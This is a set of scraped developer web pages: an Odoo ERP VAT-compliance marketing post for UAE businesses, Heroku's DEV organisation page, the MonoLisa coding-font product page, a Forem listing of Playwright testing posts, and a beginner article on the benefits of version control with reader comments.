Incorrect VAT calculations (5% standard rate) Difficulty separating taxable, zero-rated, and exempt supplies Incomplete audit trails Time-consuming VAT return preparation Risk of penalties due to late or incorrect filings Without an integrated system, VAT compliance often becomes a monthly headache rather than a smooth process. What Is Odoo ERP? Odoo ERP is a comprehensive, modular enterprise resource planning system that integrates: Accounting & Finance Sales & Purchase Management Inventory & Warehousing CRM & Operations For UAE businesses, Odoo offers localized VAT features that align with FTA requirements, making it one of the most efficient ERP solutions for VAT compliance. How Odoo ERP Simplifies VAT Filing in the UAE 1. Automated VAT Calculation Odoo automatically calculates VAT at 5% on sales and purchases based on predefined tax rules. No manual calculations Reduced human error Consistent tax application across all transactions Each invoice, bill, or credit note automatically reflects the correct VAT amount. 2. VAT-Compliant Invoicing Odoo generates FTA-compliant tax invoices , including: TRN (Tax Registration Number) VAT amount clearly displayed Taxable amount breakdown Invoice date and unique number This ensures every invoice issued meets UAE VAT regulations without additional formatting work. 3. Real-Time VAT Reporting With Odoo ERP, businesses can access real-time VAT reports , including: VAT on sales (output tax) VAT on purchases (input tax) VAT payable or refundable Decision-makers can instantly view VAT liabilities, helping with better cash flow planning. 4. FTA-Ready VAT Return Reports Odoo generates VAT return reports aligned with the UAE FTA format, making it easier to: Prepare VAT returns Validate figures before submission Reduce dependency on spreadsheets With Decision Intelligent's Odoo configuration, reports are structured to match FTA Form 201 , minimizing errors during filing. 5. Centralized Record Keeping for Audits FTA requires businesses to retain VAT records for at least 5 years. Odoo ERP securely stores: Invoices Bills Credit notes VAT reports Transaction history This creates a clear audit trail , making VAT audits stress-free and transparent. 6. Handling Multiple VAT Scenarios Odoo supports different VAT scenarios, including: Standard-rated supplies Zero-rated supplies Exempt transactions Imports and reverse charge mechanisms Decision Intelligent customizes Odoo to ensure your VAT setup reflects your exact business operations. Why UAE Businesses Choose Decision Intelligent for Odoo VAT Setup At Decision Intelligent Software Trading L.L.C , we go beyond basic ERP implementation. We offer: ✅ UAE VAT-compliant Odoo configuration ✅ Customized tax rules based on your industry ✅ VAT reporting optimization ✅ User training for finance teams ✅ Ongoing support & compliance guidance Our consultants ensure your ERP system works with your business , not against it. Industries That Benefit Most from Odoo VAT Automation Odoo VAT features are especially valuable for: Trading companies Retail & eCommerce businesses Manufacturing firms Service-based companies Restaurants & hospitality Real estate & contracting companies Each industry has unique VAT requirements - and Odoo adapts accordingly. Common Mistakes Avoided with Odoo ERP By using Odoo ERP, businesses avoid: ❌ Incorrect VAT calculations ❌ Missing VAT details on invoices ❌ Inconsistent reporting ❌ Manual spreadsheet errors ❌ Late or inaccurate VAT filings Automation significantly reduces compliance risk. VAT compliance doesn't have to be complicated. With Odoo ERP , UAE businesses can automate VAT calculations, generate compliant invoices, and prepare accurate VAT returns effortlessly. At Decision Intelligent Software Trading L.L.C , we help businesses implement VAT-ready Odoo ERP solutions that save time, reduce risk, and support sustainable growth. Ready to Simplify Your VAT Filing? 👉 Book a free Odoo consultation with Decision Intelligent 📩 info@decisionintelligent.com 🌐 decisionintelligent.com 👉 Call/Whatsapp: +971505169693 / +971585703015 Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse DECISION INTELLIGENT Follow We empower organizations across industries to harness the power of artificial intelligence and make informed, data-backed decisions that drive success. Location Dubai, United Arab Emirates Joined Nov 18, 2025 More from DECISION INTELLIGENT UAE VAT & Corporate Tax Compliance with Odoo ERP | Decision Intelligent # ai # decisionintelligent # odooerp # uaetax Cloud vs On-Prem ERP: What Decision Intelligent Recommends for SMEs # decisionintelligent # odooerp # ai # sme Odoo for Real Estate: How Decision Intelligent Helps Agencies Automate Operations # decisionintelligent # ai # odoo # realestate 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://forem.com/heroku | Heroku - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Follow Organization actions Heroku Heroku is a container-based cloud Platform as a Service (PaaS). Developers use Heroku to deploy, manage, and scale modern apps. Our platform is elegant, flexible, and easy to use, offering developers the simplest path to getting their apps to market. Location San Francisco, CA and everywhere! Joined Joined on Jan 17, 2018 Twitter logo GitHub logo External link icon Support email dev-advocacy@heroku.com Meet the team Our stack Ruby, Go, Node.js, Python, Java, PHP, Clojure, Scala, .NET, PostgreSQL, Redis, Apache Kafka, Salesforce, Heroku (yes, we run some parts of Heroku on Heroku) Post 195 posts published Member 25 members Yes! I Can Finally Run My .NET Application on Heroku! Michael Bogan Michael Bogan Michael Bogan Follow Feb 19 '25 Yes! I Can Finally Run My .NET Application on Heroku! # heroku # webdev # dotnet # programming 9 reactions Comments Add Comment 4 min read 5 Simple Steps to Get Your Test Suite Running in Heroku CI Michael Bogan Michael Bogan Michael Bogan Follow Jun 26 '24 5 Simple Steps to Get Your Test Suite Running in Heroku CI # cicd # pipeline # heroku # testing 5 reactions Comments 1 comment 6 min read How To Build a Simple GitHub Action To Deploy a Django Application to the Cloud Michael Bogan Michael Bogan Michael Bogan Follow Jun 10 '24 How To Build a Simple GitHub Action To Deploy a Django Application to the Cloud 22 reactions Comments Add Comment 9 min read Working with Heroku Logplex for Comprehensive Application Logging Michael Bogan Michael Bogan Michael Bogan Follow May 28 '24 Working with Heroku Logplex for Comprehensive Application Logging # webdev # logging # heroku # programming 2 reactions Comments Add Comment 9 min read Caching RESTful API requests with Heroku’s Redis Add-on Michael Bogan Michael Bogan Michael Bogan Follow Apr 17 '24 Caching RESTful API requests with Heroku’s Redis Add-on # redis # heroku # webdev # restapi 7 reactions Comments Add Comment 9 min read Managing Django Media & Static Files on Heroku with Bucketeer Daniel Starner Daniel Starner Daniel Starner Follow Jan 13 '22 Managing Django Media & Static Files on Heroku with Bucketeer # django # heroku # aws # webdev 14 reactions Comments 6 comments 12 min read Deploying a Kotlin App to Heroku Michael Bogan Michael Bogan Michael Bogan Follow Oct 13 '21 Deploying a Kotlin App to Heroku # java # kotlin # architecture 16 reactions Comments Add Comment 9 min read Azure/Heroku Service Bus Michael Bogan Michael Bogan Michael Bogan Follow Feb 4 '21 Azure/Heroku Service Bus # architecture # programming 6 reactions Comments Add Comment 10 min read loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://www.monolisa.dev/ | MonoLisa - font follows function ../ Tester Specimen Posts Releases FAQ My Orders Get MonoLisa Menu MonoLisa _ font follows function _ MonoLisa features optimized character spacing, enhanced glyph differentiation, and carefully crafted letterforms. Built with advanced OpenType features including contextual alternates and programming ligatures to reduce cognitive load during code review and development workflows. Get MonoLisa or try in the tester What Developers Say Use script variant Gant Laborde CIO at Infinite Red As a consultant, an instructor, and a presenter, having a clean and engaging mono font is paramount, and MonoLisa delivers information perfectly to everyone without forgetting to sneak in some personality in a gentle smile. Kyle Welch Senior Software Developer at Eventbrite MonoLisa is now my go to font for all places. It has become my expectation in my terminal and code to the point that seeing other fonts confuses me. From the well designed and unique characters make it simple to parse and read throughout the day. Horacio Herrera Independent consultant This font is so sharp that the readability of my code increased a lot! Definitely a font I will use for a long time. Max Stoiber Frontend Developer at Gatsby I love it ♥️ Mark Dalgleish Developer at SEEK I’ve been using MonoLisa as my editor font for the past few months. After a small adjustment period, I really grew to love it. Going back to any of my old font choices feels like a downgrade in comparison. David Khourshid Software developer at Microsoft I’ve been using this font for months, and while the slightly wider nature of this font took a little getting used to at first, it eventually grew on me and I saw how well this font works with my daily workflow. A great, quality font and I highly recommend it! Sara Vieira Engineer at CodeSandbox As someone with an eye condition this font makes my life way easier. And not just in coding but even in design since it doesn’t only carry regular but the whole set of weights so you can even use it in design, logos or anything a monospace font makes sense. Cassidy Williams CTO at Contenda I switched to MonoLisa after trying out several different fonts in my terminal and in my IDE. As a coding instructor and speaker (and just someone who codes a lot in her free time), readability is always the most important thing to me in a font. Kent C. Dodds Making people's lives better with software I’m not much of a font guy, but after using this font for just a few days it’s grown on my and I really like it. (And people wasted no time in constantly asking me what font I use). Two thumbs up 👍👍 Dominik Sumer Co-Founder of seriouscode.io Love the aesthetics of the font and how it improves code readability. That’s why we’ve also decided to use it as the default font at snappify.io Michał Popek Frontend Developer I had been struggling with some vision issues before and MonoLisa really helped me a lot by taking a lot of strain off my eyes. Caleb Porzio Creator of Alpine.js MonoLisa is the perfect coding font IMO. Spacious, stylish, and super readable. I never pictured myself having such strong feelings about a font, yet here we are. ■ • • • • • • • • • • • • Features Designing a monospace font is much harder than a traditional, proportional one: being constrained by the same width of all glyphs can result in a boring or unreadable font. MonoLisa features a few unique techniques that increase the legibility and make it visually pleasant to look at for longer periods of time. Increased width Increased character width helped us designing a typeface with more natural, open forms. The shapes are more relaxed creating less eye strain over long periods of time. Wide MonoLisa is ~7% wider compared to other monospaced fonts. Distinction Distinction is critical for a good coding font since it reduces ambiguity and helps avoid mistakes that can lead to software bugs. MonoLisa has a set of glyphs that fit together but at the same time are distinct enough so you can tell them apart. d b Distinct lower case connections C G Different terminals of capitals I l 1 Similar characters look different 0 O Ø Zero, capital O and Ø Space Monospaced fonts tend to have unevenly distributed dark and light space when compared to regular typefaces. MonoLisa carefully compensates the issue by using unique letter shapes to maintain the balance. Select a font to compare Fira Code Source Code Pro JetBrains Mono Watermelon Reading Flow MonoLisa uses open forms and terminals (starting and ending points) that are pointing towards the neighboring letters to let the eye follow the line of text fluently. a c e f l s Italics The italics of MonoLisa are not simply slanted versions of the upright font. Some clearly differently constructed glyphs make the difference. a a e e f f g g i i y y Script If simple italics are not enough, there is a script version available. Italics style Upright Italic Script The quick brown fox jumps over the lazy dog and runs away. Coding Ligatures MonoLisa comes with over 120 specially designed coding ligatures . A ligature is a special symbol that combines two or more characters together so it looks like one token. Ligatures help reduce visual noise and balance white space by aligning special symbols appropriately. Disabled Whitespace Only Coding Ligatures ++ a >= b %% 0 != c ~~> d <!-- Comment --> <> ### Title ... </> ?? e := f => {| 1,2,3 |} Symbols MonoLisa was designed with developers in mind. It’s one of the few fonts that comes packed with symbols to use in CLIs including PowerLine. Check out the specimen to see all the symbols. ⎇ U+2387 ⎋ U+238B ⌧ U+2327 ⌫ U+232B ⌦ U+2326 ⏏ U+23CF ⌨ U+2328 ⌥ U+2325 ⌘ U+2318 ⏎ U+23CE ⏻ U+23FB ⏼ U+23FC ⏽ U+23FD ⏾ U+23FE − U+2212 ≠ U+2260 ≥ U+2265 ≤ U+2264 ≈ U+2248 ∅ U+2205 ∞ U+221E ∫ U+222B ∏ U+220F ∑ U+2211 √ U+221A ∂ U+2202 U+E0A0 U+E0A1 U+E0A2 U+E0B0 U+E0B1 U+E0B2 U+E0B3 U+EE00 U+EE01 U+EE02 U+EE03 U+EE04 U+EE05 U+EE10 U+EE11 U+EE12 U+EE13 U+EE14 U+EE15 OpenType Features MonoLisa includes many OpenType features to enable great customization for the most demanding aesthetes. OpenType features have great support in professional graphic software. Unfortunately, they are still not available in most text editors. To make MonoLisa work in all environments, we allow you to pick the features you want to use in just a few clicks. Check out the tester to see all the features in action. whitespace ligatures {| {| fractions 1/2 1/2 coding ligatures != != old style numbers 36 36 alt g g g g subscript H2O H2O superscript m2 m2 slashed zero 0 0 normal asterisk * * script variant f f alt sharp s ß ß alt at @ @ @ alt curly bracket {} {} alt parenthesis () () alt greater equal >= >= >= hexadecimal x 0xF 0xF thin backslash \\ \\ alt dollar $ $ alt & & & i without serif i i r without serif r r alt .= and ..= .= .= Variable MonoLisa ships with variable font weight, so it’s a perfect match to use on the web. Access all weights without making your visitors download megabytes of data. V a r i a b l e Languages MonoLisa supports over 200 languages and different alphabets including latin, cyrillic, greek, and vietnamese. Français Українська Ελληνικά Tiếng Việt The Team Marcus Sterz Typeface Designer Juho Vepsäläinen Expertise, Marketing Andrey Okonetchnikov Expertise, Website MonoLisa is designed by Marcus Sterz , a professional typeface designer and co-founder of FaceType foundry , in collaboration with software developers Andrey Okonetchnikov and Juho Vepsäläinen who contributed their vast expertise in programming. The result of this collaboration is an award-winning coding font created by professionals for professionals . Get MonoLisa or try in the tester What Developers Say Use script variant Gant Laborde CIO at Infinite Red As a consultant, an instructor, and a presenter, having a clean and engaging mono font is paramount, and MonoLisa delivers information perfectly to everyone without forgetting to sneak in some personality in a gentle smile. Kyle Welch Senior Software Developer at Eventbrite MonoLisa is now my go to font for all places. It has become my expectation in my terminal and code to the point that seeing other fonts confuses me. From the well designed and unique characters make it simple to parse and read throughout the day. Horacio Herrera Independent consultant This font is so sharp that the readability of my code increased a lot! Definitely a font I will use for a long time. Max Stoiber Frontend Developer at Gatsby I love it ♥️ Mark Dalgleish Developer at SEEK I’ve been using MonoLisa as my editor font for the past few months. After a small adjustment period, I really grew to love it. Going back to any of my old font choices feels like a downgrade in comparison. David Khourshid Software developer at Microsoft I’ve been using this font for months, and while the slightly wider nature of this font took a little getting used to at first, it eventually grew on me and I saw how well this font works with my daily workflow. A great, quality font and I highly recommend it! Sara Vieira Engineer at CodeSandbox As someone with an eye condition this font makes my life way easier. And not just in coding but even in design since it doesn’t only carry regular but the whole set of weights so you can even use it in design, logos or anything a monospace font makes sense. Cassidy Williams CTO at Contenda I switched to MonoLisa after trying out several different fonts in my terminal and in my IDE. As a coding instructor and speaker (and just someone who codes a lot in her free time), readability is always the most important thing to me in a font. Kent C. Dodds Making people's lives better with software I’m not much of a font guy, but after using this font for just a few days it’s grown on my and I really like it. (And people wasted no time in constantly asking me what font I use). Two thumbs up 👍👍 Dominik Sumer Co-Founder of seriouscode.io Love the aesthetics of the font and how it improves code readability. That’s why we’ve also decided to use it as the default font at snappify.io Michał Popek Frontend Developer I had been struggling with some vision issues before and MonoLisa really helped me a lot by taking a lot of strain off my eyes. Caleb Porzio Creator of Alpine.js MonoLisa is the perfect coding font IMO. Spacious, stylish, and super readable. I never pictured myself having such strong feelings about a font, yet here we are. ■ • • • • • • • • • • • • Get MonoLisa Tester Specimen Releases FAQ My orders Send feedback Follow on Twitter Subscribe for updates License Refund Policy Privacy Policy Cookie Policy Imprint © FaceType , 2026 Made in Vienna by Component-Driven | 2026-01-13T08:49:27 |
https://forem.com/t/playwright | Playwright Web Testing & Automation Framework 🎭 - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Playwright Web Testing & Automation Framework 🎭 Follow Hide Playwright is an open-source framework for Web Testing and Automation. It enables reliable end-to-end testing for modern web apps across browsers and platforms, using one API! Playwright supports resilient testing (with features like auto-wait, web-first assertions and tracing) with powerful tooling for authoring, debugging and profiling your end-to-end tests! Create Post about #playwright Use this tag for posts on web testing and automation using the open-source Playwright framework. Use this to share tips, insights and best practices for end-to-end testing of modern web apps! Visit the Playwright Repo Visit the Playwright Website Follow @playwrightweb Subscribe to YouTube Join the Slack Contribute to Discussions Then Get Started Older #playwright posts 1 2 3 4 5 6 7 8 9 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu Building domharvest-playwright: From Idea to npm Package Max B. Max B. Max B. Follow Jan 11 Building domharvest-playwright: From Idea to npm Package # opensource # javascript # node # playwright Comments Add Comment 5 min read The testing meta most teams have not caught up to yet Murat K Ozcan Murat K Ozcan Murat K Ozcan Follow Jan 10 The testing meta most teams have not caught up to yet # test # playwright # bmad # automation Comments Add Comment 3 min read Scaling Headless Browsers: Managing Contexts vs. Instances Lalit Mishra Lalit Mishra Lalit Mishra Follow Jan 7 Scaling Headless Browsers: Managing Contexts vs. Instances # webscraping # selenium # playwright # top7 Comments Add Comment 7 min read Debugging Chromium Crashes When Taking Full-Page Screenshots with Playwright Erik Erik Erik Follow for Allscreenshots Jan 6 Debugging Chromium Crashes When Taking Full-Page Screenshots with Playwright # playwright # kotlin # memory # programming 1 reaction Comments Add Comment 3 min read 5 QA Trends You Can't Ignore in 2026 Unais Shahid Unais Shahid Unais Shahid Follow Jan 5 5 QA Trends You Can't Ignore in 2026 # testing # automation # playwright # career Comments Add Comment 3 min read The Hidden Pay of Free Test Reporting Tools TestDino TestDino TestDino Follow Jan 7 The Hidden Pay of Free Test Reporting Tools # playwright # opensource # cicd # testing Comments 1 comment 4 min read Day 6: The Core Engine - Getting Playwright Running Erik Erik Erik Follow for Allscreenshots Jan 6 Day 6: The Core Engine - Getting Playwright Running # playwright # puppeteer # programming # webdev 1 reaction Comments Add Comment 6 min read How a Pull Request Dashboard Shapes Speed, Quality, and Trust | TestDino Insights TestDino TestDino TestDino Follow Jan 5 How a Pull Request Dashboard Shapes Speed, Quality, and Trust | TestDino Insights # playwright # testing # automation # software Comments Add Comment 4 min read E2E Coverage in Next.js: Dev Mode vs Production Mode Steve Zhang Steve Zhang Steve Zhang Follow Jan 1 E2E Coverage in Next.js: Dev Mode vs Production Mode # nextjs # playwright # e2e Comments Add Comment 3 min read V8 Coverage vs Istanbul: Performance and Accuracy Steve Zhang Steve Zhang Steve Zhang Follow Jan 1 V8 Coverage vs Istanbul: Performance and Accuracy # nextjs # playwright # testing Comments Add Comment 4 min read A Small VS Code Extension to Shorten the Pytest Fix Loop Brunt Brunt Brunt Follow Jan 1 A Small VS Code Extension to Shorten the Pytest Fix Loop # pytest # testing # programming # playwright 1 reaction Comments Add Comment 3 min read Old Tree, New Blossoms: Equipping Moving Average Strategies with an AI Brain fmzquant fmzquant fmzquant Follow Dec 29 '25 Old Tree, New Blossoms: Equipping Moving Average Strategies with an AI Brain # ai # selenium # tooling # playwright Comments Add Comment 10 min read TradingView Signal Live Trading: New Version Solution fmzquant fmzquant fmzquant Follow Dec 29 '25 TradingView Signal Live Trading: New Version Solution # playwright # ai # fullstack # cryptocurrency Comments Add Comment 7 min read Proxy routing implementation playbook: building two lanes for identity and coverage gabriele wayner gabriele wayner gabriele wayner Follow Dec 28 '25 Proxy routing implementation playbook: building two lanes for identity and coverage # python # playwright # webscraping # security Comments Add Comment 6 min read Why Istanbul Coverage Doesn't Work with Next.js App Router Steve Zhang Steve Zhang Steve Zhang Follow Jan 1 Why Istanbul Coverage Doesn't Work with Next.js App Router # nextjs # react # testing # playwright Comments Add Comment 5 min read How TestDino Solves Manual Triage and Hidden Resource Wastage in Playwright Testing TestDino TestDino TestDino Follow Jan 10 How TestDino Solves Manual Triage and Hidden Resource Wastage in Playwright Testing # playwright # testing # ai # softwaredevelopment Comments Add Comment 5 min read A Reproducible Prompt Workflow for Multi-File Bug Fixing (Free Generator Included) 黎辰悦 黎辰悦 黎辰悦 Follow Dec 23 '25 A Reproducible Prompt Workflow for Multi-File Bug Fixing (Free Generator Included) # ai # playwright # webdev # productivity Comments Add Comment 3 min read Stop Building "Zombie UI": The Resilient UX Checklist (Playwright + Python) Ilya Ploskovitov Ilya Ploskovitov Ilya Ploskovitov Follow Dec 24 '25 Stop Building "Zombie UI": The Resilient UX Checklist (Playwright + Python) # testing # ux # playwright # qa Comments Add Comment 3 min read AutoQA-Agent: Write Acceptance Tests in Markdown, Run Them with AI + Playwright NEE NEE NEE Follow Dec 19 '25 AutoQA-Agent: Write Acceptance Tests in Markdown, Run Them with AI + Playwright # testing # playwright # ai # qa 1 reaction Comments Add Comment 2 min read How to Implement Dependency Injection with POM in Playwright for Scalable Test Automation JigNect Technologies JigNect Technologies JigNect Technologies Follow Dec 22 '25 How to Implement Dependency Injection with POM in Playwright for Scalable Test Automation # automation # pom # playwright Comments Add Comment 4 min read Playwright: Test Structure (Tiny part that bring a huge impact) Mochammad Alie Mochammad Alie Mochammad Alie Follow Dec 21 '25 Playwright: Test Structure (Tiny part that bring a huge impact) # playwright # qa # typescript # productivity Comments 1 comment 3 min read Playwright Visual Testing: Why Passing Tests Still Ship Broken UI TestDino TestDino TestDino Follow Dec 27 '25 Playwright Visual Testing: Why Passing Tests Still Ship Broken UI # playwright # testing # ai # software Comments Add Comment 4 min read Selenium vs. Playwright vs. Cypress (2025): The Ultimate Comparison Guide teaganga teaganga teaganga Follow Dec 4 '25 Selenium vs. Playwright vs. Cypress (2025): The Ultimate Comparison Guide # webdev # testing # selenium # playwright Comments Add Comment 4 min read Ideal Testing framework app Yogesh Galav Yogesh Galav Yogesh Galav Follow Dec 4 '25 Ideal Testing framework app # testing # e2etesting # playwright # puppeteer Comments Add Comment 1 min read Demystifying Playwright Test Agents' seed.spec.ts: What I Learned from Reading the MCP Code Ken Fukuyama Ken Fukuyama Ken Fukuyama Follow Dec 5 '25 Demystifying Playwright Test Agents' seed.spec.ts: What I Learned from Reading the MCP Code # playwright # ai # typescript # testing Comments Add Comment 6 min read loading... trending guides/resources Playwright MCP Servers Explained: Automation and Testing Using AI in Playwright Tests How We Automate Accessibility Testing with Playwright and Axe Automate Microsoft MFA login using Playwright How to Run Playwright in CI Pipeline How We Catch UI Bugs Early with Visual Regression Testing Playwright Interview Questions and Answers (My Personal Experience) V8 Coverage vs Istanbul: Performance and Accuracy AI-Powered End-to-End Testing: A New Paradigm for Software Quality Assurance Smart Test Skipping: Building a Lightweight Playwright Dependency Analyzer How to Merge Vitest Unit, Component, and E2E Test Coverage Building a Comprehensive E2E Test Suite with Playwright: Lessons from 100+ Test Cases Why Istanbul Coverage Doesn't Work with Next.js App Router Why AI Can't Write Good Playwright Tests (And How To Fix It) nextcov - Collecting Test Coverage for Next.js Server Components 5 QA Trends You Can't Ignore in 2026 How to Implement Dependency Injection with POM in Playwright for Scalable Test Automation Debugging Chromium Crashes When Taking Full-Page Screenshots with Playwright Testing svelte5 with vitest and playwright for non svelte-kit projects Playwright Quirks — waitForResponse 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://dev.to/szabgab/why-use-a-version-control-system-3o93#easier-smoother-collaboration | Why use a version control system? - 💒 - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Gabor Szabo Posted on Nov 28, 2022 • Originally published at code-maven.com Why use a version control system? - 💒 # git # beginners # programming # tutorial git-on-windows (2 Part Series) 1 Why use a version control system? - 💒 2 Download and install git on Linux, Windows, and macOS Most people will save versions of whatever they are working on. For example if they work on a file called wedding_vows.doc at one point they might save it as wedding_vows_1.doc 💒 and then when they get divorced and marry again they might update the original file and now create a copy called wedding_vows_2.doc 💒💒. Then they go on and might have wedding_vows_3.doc etc. If they have multiple files then maybe the create a copy of all the files and put them in directories called " wedding_1 " and " wedding_2 ". Some other people, instead of numbering the versions they attach the current date to it. So they would have a file called wedding_vows_2013_01_07.doc or a folder called wedding_2013_01_07 that also has all the pictures from the wedding. They basically create a home-made, manual version control system. If you are writing an application then usually you'll have a lot more files and you'll have a lot more versions. Then this home-made version control can easily get out of control. Why reinvent the wheel if there are already excellent open source version control systems? Such as git? Advantages of having a Version Control System (VCS) There are a number of advantages using a well-known VCS. One of them is that if you'd like someone else to start working on your project you don't need to teach them about your own VCS. Most likely they already know how to use it. Fearless experimentation If you are a chemist and you combine two materials, in most cases you cannot go back and separate them again. If you are doctor and cut of a part of a patient in the hope that it will solve the problem the patient has, you cannot go back. You cannot undo it. In programming if you overwrite a file with some changes your editor might have an undo functionality, but it is usually very limited in its history. Using a version control system a programmer could do any experiment and safely know that s/he can go back to an earlier state, an earlier version of the code. Fearless deletion In many cases I see people keep around old code saying: ok maybe we'll need it at some point. Currently we are not using this code but maybe some day need to copy-paste from it or maybe literally we'll need to use it, so we don't delete it. Then you accumulate a lot of, well, basically garbage. Code that's not used that not only takes up space and compilation time, but take up a lot of brain cycles (mental energy) when someone actually read you code an encounters this function and tries to understand it. The person might spend a lot of time trying to figure out what does this function do till they realize that the function is not in use. Or maybe it is in use by something else which is not in use. So it can get complicated. If you have a version control system like git or some other version control system then you can just delete this code, commit your changes to your version control system and at any point of time when you need it you can go back this version, look at it copy from it pieces, or just bring back the whole piece of code in case you now need it. Easier (smoother) collaboration Another thing is the easier and quite smooth collaboration with other people. As long as you work alone you don't need collaboration, of course, but once you do collaborate, having a version control system is extremely important. Let's go back to the example without version control system. You have a file. You make some changes. Another person has the same file. That person also makes some changes. How can you now combine (merge together) the two changes? How can you make sure that the changes of both of you are kept? In many organization there is a shared disk and people take files from there and save it back. What if two people try to edit the file at the same file? Either the system limits that only one person can open the file at one time, but that means people have to wait one for the other. Or if there is no locking then if both edit and save the file then the second one wins. All the changes made by the person who saved first will be lost. Having a version control system can make this really smooth Of course it is not perfect and there still might be some issue. The people still have to talk to each other, but in many cases it makes it a lot smoother to collaborate with other people. Even if they are in different time-zones, different locations History One of the basic thing is that you can easily look at the history of your code base. What changed were made, if there multiple people contributing to the source code then who made the changes. If you are keeping a good track of why you made the change, so every time when you make a change you have some explanation why did you do that then it's a gold mine. Actually I rarely need to look at the history, but when you do, it's extremely important, it is extremely valuable that you can look at the history. It is a little-bit like backups. You really rarely need to have backups when you do, if you don't have it then it is a really big issue. So this is more or less similar to history although we'll look a lot more at the history just because we all kinds of small mistakes. So for example, one of the mistakes that we can easily make: You have some working code and then you make some changes, other people make some changes and check the parts that you changes. Two weeks later someone reports that some feature stopped working. They know it used to work. You remember it used to work, but you see that it does not work now. You may remember that it worked two weeks ago. How can you find out what happened? Which change broke it? Version control systems in general and git specifically have tools for it, but without having this history we really can't do anything. Having the history you'll be able to track down which change caused this error? Why was that change made? Usually these changes are made for some good purpose, but maybe they have some side-effects. You will have to understand that and not just revert the change, because that will break something else. Which Version Control System (VCS)? Finally, just to get to end of the slide, there are bunch of version control systems. Some of them are proprietary so you have to buy them, many of them are open source. There is a list of them on the slide: git, mercurial (hg), subversion (svn), cvs, rcs, ... that's just going back in history. The most popular these days is git. Most popular by far. It is a distributed version control system, it was created by Linus Torvalds the same person who created the Linux Operating System (actually the Linux kernel), It is used by almost everyone. Both Open Source and corporate. So that's what you are going to learn later on in this course. This is part of a series I am going to publish in the coming days. Stay tuned. git-on-windows (2 Part Series) 1 Why use a version control system? - 💒 2 Download and install git on Linux, Windows, and macOS Top comments (3) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Collapse Expand Mark Gardner Mark Gardner Mark Gardner Follow I show software developers how to level up by building production-ready things that work. Clear code, real projects, lessons learned. Location Houston, Texas Education Independence University Pronouns he, him, his Work Software Engineer III at LexisNexis Risk Solutions Joined Nov 9, 2020 • Nov 29 '22 Dropdown menu Copy link Hide For what it’s worth, in the single-file single-user case a well-developed document-based macOS app can use built-in APIs to enable saving and reverting to previous versions of a document . This is independent of whether the document is being backed up by the included Time Machine or third-party backup software. Unfortunately not all apps use this facility, and it doesn’t account for reverting related and interdependent files together, to say nothing of fancier features like branching, tagging, or collaboration with others on the same document. But it’s nice and can help keep you from cluttering your storage with Wedding Vows , Wedding Vows 1 , Wedding Vows 2 , Wedding Vows final , Wedding Vows final FINAL , etc. Like comment: Like comment: 2 likes Like Comment button Reply Collapse Expand Gabor Szabo Gabor Szabo Gabor Szabo Follow Helping individuals and teams improve their software development practices. Introducing testing, test automation, CI, CD, pair programming. That neighborhood. Email gabor@szabgab.com Location Israel Education HUJI - 